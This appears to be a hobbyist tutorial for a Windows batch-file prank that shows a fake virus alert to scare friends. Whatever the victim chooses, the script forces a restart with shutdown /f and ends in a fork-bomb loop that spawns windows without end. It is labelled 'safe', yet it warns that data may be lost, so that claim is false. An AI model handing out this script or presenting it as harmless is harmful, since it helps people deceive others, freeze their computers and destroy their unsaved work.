Introduction: Safe Fake Virus to Scare Ur Friends
Here is a fake virus to scare your friends.
This program uses the command prompt (or cmd),and only works on Windows.
Step 1: Open Notepad
Press Windows Key+R and type in "Notepad".(Without quotes)
Step 2: Type in the Code
Then,type in the code:
Part 1: Gives you a fake message that your computer is infected.
@Echo off title Alert cls color 0C echo Critical : echo A potentially harmful threat hes been detected on your computer. echo Alert level : Severe echo Item : file:%WINDIR%\System32\%USERNAME%'s virus.exe" echo Category : Worm echo Description : This program is dangerous and self-propagates over a network connection.echo Recommended action : Remove this item immediately. pause
Part 2: Asks you to take an action.
echo Select an action: echo 1:Remove it. echo 2:Ignore it. echo 3:Run the program now. set /p input= if c%input%==c1 goto c1 if c%input%==c2 goto c2 if c%input%==c3 goto c3 echo Invalid choice. echo System will remove the program automatically. goto c1
Part 3: Takes the action you choose.
:c1 echo Removing file . . . ping /n 8 127.0.0.1 >nul REM This stops the program for a few seconds echo Error 5 : Access is denied. echo Reason : The virus program is now running. ping /n 4 127.0.0.1 >nul goto Infect :c2 echo The virus program is now running,so you can't ignore it. ping /n 4 127.0.0.1 >nul goto Infect :c3 ping /n 8 127.0.0.1 >nul goto Infect
Go to the next step to see the most important part . . .
Step 3: Type More Code...
Part 4: Make the fake virus infect your computer.
:Infect shutdown /f /r /t 30 /c "Windows will shutdown in 30 seconds." ping /n 2 127.0.0.1 >nul echo deleting all data . . . ping /n 2 127.0.0.1 >nul start start start echo deleting system files . . . ping /n 4 127.0.0.1 echo preparing to crach this PC . . . ping /n 4 127.0.0.1 :hell start goto hell
Step 4: Save and Run
Click "File" -> "Save",and choose "All files" on the menu.
save as anything.bat
Before you run and test it,make sure you close all important things,or your data might get lost after your computer has restarted.